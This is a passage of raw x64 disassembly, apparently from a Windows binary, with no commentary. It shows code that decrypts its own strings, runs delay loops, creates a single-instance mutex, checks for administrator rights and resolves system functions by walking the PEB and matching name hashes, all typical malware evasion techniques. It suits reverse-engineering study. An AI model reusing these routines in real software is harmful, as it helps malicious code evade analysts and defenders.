paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x20
jl 0x14022ae90
cmp r9d, 0x25
jge 0x14022b071
movsxd rax, r9d
lea r10, [rsp + 0x1f0]
add r10, rax
nop word [rax + rax]
mov eax, 0x22b63cbf
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3b
movzx r8d, r9b
sub r8b, cl
add r8b, 0x1f
add r8b, r8b
mov eax, 0x4c8f8d29
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x6b
sub r8b, cl
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x25
jl 0x14022b020
lea rax, [rsp + 0x1f0]
mov rcx, r15
nop dword [rax]
inc rcx
cmp byte [rax + rcx], 0
jne 0x14022b080
movabs rax, 0x7fffffffffffffff
mov rdx, qword [rsp + 0xb88]
sub rax, rdx
cmp rax, rcx
jb 0x140231840
lea rax, [rsp + 0xb78]
cmp qword [rsp + 0xb90], 0xf
cmova rax, qword [rsp + 0xb78]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r9, [rsp + 0x1f0]
lea rcx, [rsp + 0x930]
call fcn.14023bad0
mov dword [rsp + 0x88], r13d
lea rcx, [rsp + 0x930]
jmp 0x14022b3c8
movups xmm0, xmmword [0x14026b4e0]
movups xmmword [rsp + 0x240], xmm0
movups xmm1, xmmword [0x14026b4f0]
movups xmmword [rsp + 0x250], xmm1
movsd xmm0, qword [0x14026b500]
movsd qword [rsp + 0x260], xmm0
movzx eax, word [0x14026b508]
mov word [rsp + 0x268], ax
cmp dword [0x14027e090], 2
jl 0x14022b2da
mov r9d, edi
movdqa xmmword [rsp + 0xb20], xmm9
lea rcx, [rsp + 0x244]
mov edx, dword [rsp + 0xb20]
movd xmm4, r9d
pshufd xmm4, xmm4, 0
paddd xmm4, xmm10
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm12
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm11
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm1, xmm0
movd dword [rcx - 4], xmm1
lea eax, [r9 + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm10
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm12
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm11
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x28
jl 0x14022b161
cmp r9d, 0x2a
jge 0x14022b341
movsxd rax, r9d
lea r10, [rsp + 0x240]
add r10, rax
nop dword [rax + rax]
mov eax, 0x22b63cbf
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3b
movzx r8d, r9b
sub r8b, cl
add r8b, 0x1f
add r8b, r8b
mov eax, 0x4c8f8d29
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x6b
sub r8b, cl
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x2a
jl 0x14022b2f0
lea rax, [rsp + 0x240]
mov rcx, r15
nop dword [rax]
inc rcx
cmp byte [rax + rcx], 0
jne 0x14022b350
movabs rax, 0x7fffffffffffffff
mov rdx, qword [rsp + 0xb88]
sub rax, rdx
cmp rax, rcx
jb 0x140231840
lea rax, [rsp + 0xb78]
cmp qword [rsp + 0xb90], 0xf
cmova rax, qword [rsp + 0xb78]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r9, [rsp + 0x240]
lea rcx, [rsp + 0x950]
call fcn.14023bad0
mov dword [rsp + 0x88], 5
lea rcx, [rsp + 0x950]
call fcn.1401fa260
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rsp + 0x47f4], 0xffffffff
mov dword [rsp + 0x3474], eax
mov rdx, rbx
nop dword [rax + rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rsp + rdx*4 + 0x3474], eax
inc rdx
cmp rdx, 0x270
jb 0x14022b3f0
mov dword [rsp + 0x3470], 0x270
mov dword [rsp + 0x40], edi
lea rcx, [rsp + 0xb20]
call fcn.1401f17b0
mov r14, qword [rsp + 0xb20]
add r14, 0x5f5e100
nop dword [rax]
lea rcx, [rsp + 0x7b0]
call fcn.1401f17b0
cmp qword [rax], r14
jge 0x14022b5cf
mov r12d, 0x186a0
nop dword [rax]
lea rcx, [rsp + 0x3470]
call fcn.140247dd0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x63
ja 0x14022b49b
nop dword [rax + rax]
lea rcx, [rsp + 0x3470]
call fcn.140247dd0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x14022b480
shr rax, 0x20
add eax, 0x7fffff9c
xor eax, 0x80000000
cmove eax, ebx
mov dword [rsp + 0xb20], eax
lea rcx, [rsp + 0x3470]
call fcn.140247dd0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x14022b4eb
nop
lea rcx, [rsp + 0x3470]
call fcn.140247dd0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x14022b4d0
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
lea rcx, [rsp + 0x3470]
call fcn.140247dd0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x14022b53b
nop
lea rcx, [rsp + 0x3470]
call fcn.140247dd0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x14022b520
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x40]
imul eax, ecx
mov dword [rsp + 0x40], eax
lea rcx, [rsp + 0x3470]
call fcn.140247dd0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x14022b58b
nop
lea rcx, [rsp + 0x3470]
call fcn.140247dd0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x14022b570
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x40]
sub eax, ecx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cdq
mov ecx, dword [rsp + 0xb20]
idiv ecx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cdq
idiv ecx
mov dword [rsp + 0x40], edx
sub r12, 1
jne 0x14022b460
jmp 0x14022b440
mov eax, dword [rsp + 0x40]
mov eax, dword [0x14026b62c]
mov dword [rsp + 0x60], eax
movzx eax, byte [0x14026b630]
mov byte [rsp + 0x60], 0x31
xor byte [rsp + 0x61], 0x40
xor byte [rsp + 0x62], 0x42
xor byte [rsp + 0x63], 0x44
xor al, 0x46
mov byte [rsp + 0x64], al
lea rcx, [rsp + 0x60]
mov rax, r15
movabs r14, 0xff00ff00ff00ff00
inc rax
cmp byte [rcx + rax], 0
jne 0x14022b610
lea rcx, [0x140281548]
cmp qword [0x140281560], 0xf
cmova rcx, qword [0x140281548]
mov r8, qword [0x140281558]
cmp r8, rax
jne 0x14022b861
lea rdx, [rsp + 0x60]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14022b861
mov qword [0], rdi
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rsp + 0x5b84], 0xffffffff
mov dword [rsp + 0x4804], eax
mov rdx, rbx
nop word [rax + rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rsp + rdx*4 + 0x4804], eax
inc rdx
cmp rdx, 0x270
jb 0x14022b680
mov dword [rsp + 0x4800], 0x270
mov dword [rsp + 0x40], edi
lea rcx, [rsp + 0xb20]
call fcn.1401f17b0
mov r13, qword [rsp + 0xb20]
add r13, 0x5f5e100
nop dword [rax]
lea rcx, [rsp + 0x788]
call fcn.1401f17b0
cmp qword [rax], r13
jge 0x14022b858
mov r12d, 0x186a0
nop dword [rax]
lea rcx, [rsp + 0x4800]
call fcn.140247dd0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x63
ja 0x14022b72b
nop dword [rax + rax]
lea rcx, [rsp + 0x4800]
call fcn.140247dd0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x14022b710
shr rax, 0x20
lea esi, [rax + 0x7fffff9c]
xor esi, 0x80000000
cmove esi, ebx
lea rcx, [rsp + 0x4800]
call fcn.140247dd0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x14022b77b
nop dword [rax]
lea rcx, [rsp + 0x4800]
call fcn.140247dd0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x14022b760
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
lea rcx, [rsp + 0x4800]
call fcn.140247dd0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x14022b7cb
nop
lea rcx, [rsp + 0x4800]
call fcn.140247dd0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x14022b7b0
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x40]
imul eax, ecx
mov dword [rsp + 0x40], eax
lea rcx, [rsp + 0x4800]
call fcn.140247dd0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x14022b81b
nop
lea rcx, [rsp + 0x4800]
call fcn.140247dd0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x14022b800
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x40]
sub eax, ecx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cdq
idiv esi
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cdq
idiv esi
mov dword [rsp + 0x40], edx
sub r12, 1
jne 0x14022b6f0
jmp 0x14022b6d0
mov eax, dword [rsp + 0x40]
jmp 0x140231634
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rsp + 0x6f14], 0xffffffff
mov dword [rsp + 0x5b94], eax
mov rdx, rbx
nop dword [rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rsp + rdx*4 + 0x5b94], eax
inc rdx
cmp rdx, 0x270
jb 0x14022b880
mov dword [rsp + 0x5b90], 0x270
mov dword [rsp + 0x40], edi
lea rcx, [rsp + 0xb20]
call fcn.1401f17b0
mov r14, qword [rsp + 0xb20]
add r14, 0x5f5e100
nop dword [rax]
lea rcx, [rsp + 0x7c0]
call fcn.1401f17b0
cmp qword [rax], r14
jge 0x14022ba5f
mov r12d, 0x186a0
nop dword [rax]
lea rcx, [rsp + 0x5b90]
call fcn.140247dd0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x63
ja 0x14022b92b
nop dword [rax + rax]
lea rcx, [rsp + 0x5b90]
call fcn.140247dd0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x14022b910
shr rax, 0x20
add eax, 0x7fffff9c
xor eax, 0x80000000
cmove eax, ebx
mov dword [rsp + 0xb20], eax
lea rcx, [rsp + 0x5b90]
call fcn.140247dd0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x14022b97b
nop
lea rcx, [rsp + 0x5b90]
call fcn.140247dd0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x14022b960
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
lea rcx, [rsp + 0x5b90]
call fcn.140247dd0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x14022b9cb
nop
lea rcx, [rsp + 0x5b90]
call fcn.140247dd0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x14022b9b0
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x40]
imul eax, ecx
mov dword [rsp + 0x40], eax
lea rcx, [rsp + 0x5b90]
call fcn.140247dd0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x14022ba1b
nop
lea rcx, [rsp + 0x5b90]
call fcn.140247dd0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x14022ba00
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x40]
sub eax, ecx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cdq
mov ecx, dword [rsp + 0xb20]
idiv ecx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cdq
idiv ecx
mov dword [rsp + 0x40], edx
sub r12, 1
jne 0x14022b8f0
jmp 0x14022b8d0
mov eax, dword [rsp + 0x40]
lea rdx, [0x140281328]
cmp qword [0x140281340], 0xf
cmova rdx, qword [0x140281328]
mov r8, qword [0x140281338]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14023ed50
lea rdx, [0x140238270]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
cmp qword [0x140281560], 0xf
lea rdx, [0x140281548]
cmova rdx, qword [0x140281548]
mov r8, qword [0x140281558]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14023ed50
lea rdx, [0x140238270]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
cmp qword [0x140281520], 0xf
lea rdx, [0x140281508]
cmova rdx, qword [0x140281508]
mov r8, qword [0x140281518]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14023ed50
lea rdx, [0x140238270]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov dword [rsp + 0xb08], 0x18
mov dword [rsp + 0xb18], edi
mov edx, 0x28
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rbx, rax
mov edx, 1
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_InitializeSecurityDescriptor]
xor r9d, r9d
xor r8d, r8d
mov edx, 1
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorDacl]
mov qword [rsp + 0xb10], rbx
movsd xmm0, qword [str.y___]
movsd qword [rsp + 0x90], xmm0
mov ecx, dword [0x14026c188]
mov dword [rsp + 0x98], ecx
movzx eax, byte [0x14026c18c]
mov byte [rsp + 0x9c], al
mov r9d, edi
mov r12d, dword [0x14027e090]
cmp r12d, 2
jl 0x14022bdba
movdqa xmm2, xmm10
punpckldq xmm2, xmm10
movdqa xmm1, xmm10
punpckhdq xmm1, xmm10
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm12
movdqa xmm2, xmm10
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm11
movdqa xmm1, xmm10
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd eax, xmm9
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.y___]
xorps xmm2, xmm0
movd dword [rsp + 0x90], xmm2
movdqa xmm4, xmmword [0x14026e1b0]
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm12
movdqa xmm2, xmm4
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm11
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm2, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x94]
xorps xmm2, xmm1
movd dword [rsp + 0x94], xmm2
movdqa xmm4, xmmword [0x14026e1d0]
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm12
movdqa xmm2, xmm4
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm11
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm2, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rsp + 0x98], xmm2
mov r9d, 0xc
mov eax, r9d
lea r10, [rsp + 0x90]
add r10, rax
movabs r14, 0xff00ff00ff00ff00
nop dword [rax]
nop word [rax + rax]
mov eax, 0x22b63cbf
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3b
movzx r8d, r9b
sub r8b, cl
add r8b, 0x1f
add r8b, r8b
mov eax, 0x4c8f8d29
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x6b
sub r8b, cl
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0xd
jl 0x14022bde0
lea rcx, [rsp + 0x90]
mov rax, r15
nop dword [rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x14022be40
mov rcx, qword [0x140281338]
movabs rdx, 0x7fffffffffffffff
sub rdx, rcx
cmp rdx, rax
jb 0x140231840
cmp qword [0x140281340], 0xf
lea rdx, [0x140281328]
cmova rdx, qword [0x140281328]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x90]
lea rcx, [rsp + 0x568]
call fcn.14023bad0
or dword [rsp + 0x88], 8
lea r8, [rsp + 0x568]
cmp qword [rsp + 0x580], 0xf
cmova r8, qword [rsp + 0x568]
mov edx, 1
lea rcx, [rsp + 0xb08]
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
lea rcx, [rsp + 0x568]
call fcn.140236770
movsd xmm0, qword [str.2_2_.l]
movsd qword [rsp + 0xb0], xmm0
mov ecx, dword [0x14026bd58]
mov dword [rsp + 0xb8], ecx
movzx eax, word [0x14026bd5c]
mov word [rsp + 0xbc], ax
cmp byte [0x14026bd5d], 0
je 0x14022c1b1
mov r9d, edi
cmp r12d, 2
jl 0x14022c144
movdqa xmm2, xmm10
punpckldq xmm2, xmm10
movdqa xmm1, xmm10
punpckhdq xmm1, xmm10
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm12
movdqa xmm2, xmm10
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm11
movdqa xmm1, xmm10
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd eax, xmm9
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.2_2_.l]
xorps xmm2, xmm0
movd dword [rsp + 0xb0], xmm2
movdqa xmm4, xmmword [0x14026e1b0]
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm12
movdqa xmm2, xmm4
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm11
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm2, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0xb4]
xorps xmm2, xmm1
movd dword [rsp + 0xb4], xmm2
movdqa xmm4, xmmword [0x14026e1d0]
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm12
movdqa xmm2, xmm4
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm11
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm2, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rsp + 0xb8], xmm2
mov r9d, 0xc
mov eax, r9d
lea r10, [rsp + 0xb0]
add r10, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x22b63cbf
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3b
movzx r8d, r9b
sub r8b, cl
add r8b, 0x1f
add r8b, r8b
mov eax, 0x4c8f8d29
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x6b
sub r8b, cl
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0xe
jl 0x14022c160
xorps xmm0, xmm0
movups xmmword [rsp + 0x290], xmm0
mov qword [rsp + 0x2a0], rdi
mov qword [rsp + reloc.SHELL32.dll_IsUserAnAdmin], rdi
lea rax, [rsp + 0xb0]
mov r8, r15
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14022c1e0
lea rdx, [rsp + 0xb0]
lea rcx, [rsp + 0x290]
call fcn.140206910
lea rcx, [rsp + 0x290]
call fcn.1401fa260
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov ebx, dword [rcx + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x140231838
mov r10d, dword [rbx + 0x18]
test r10d, r10d
je 0x140231838
mov ecx, dword [rbx + 0x20]
nop dword [rax]
dec r10d
lea rcx, [rcx + r10*4]
mov edx, dword [rcx + r9]
add rdx, r9
mov r8d, 0xa82cb068
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14023182c
nop dword [rax]
nop word [rax + rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14022c280
cmp r8d, 0xd369ca22
jne 0x14023182c
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rbx + 0x24]
add rax, r9
movzx eax, word [rax + r10*2]
mov ecx, dword [rcx + rax*4]
add rcx, r9
call rcx
cmp eax, 0xb7
jne 0x14022c2d2
mov qword [0], rdi
jmp 0x140231634
movups xmm0, xmmword [str.w.1_2__49_3v_v._]
movups xmmword [rsp + 0x3e0], xmm0
movups xmm1, xmmword [0x14026b598]
movups xmmword [rsp + 0x3f0], xmm1
movups xmm0, xmmword [0x14026b5a8]
movups xmmword [rsp + 0x400], xmm0
mov eax, dword [0x14026b5b8]
mov dword [rsp + 0x410], eax
movzx eax, word [0x14026b5bc]
mov word [rsp + 0x414], ax
movzx eax, byte [0x14026b5be]
mov byte [rsp + 0x416], al
mov r9d, edi
cmp r12d, 2
jl 0x14022c4d3
movdqa xmmword [rsp + 0xb20], xmm9
lea rcx, [rsp + 0x3e4]
nop dword [rax + rax]
movd xmm4, r9d
pshufd xmm4, xmm4, 0
paddd xmm4, xmm10
movdqa xmm3, xmm4
punpckldq xmm3, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm2, xmm3
pmuldq xmm2, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 5
pmuldq xmm3, xmm7
pmuldq xmm1, xmm7
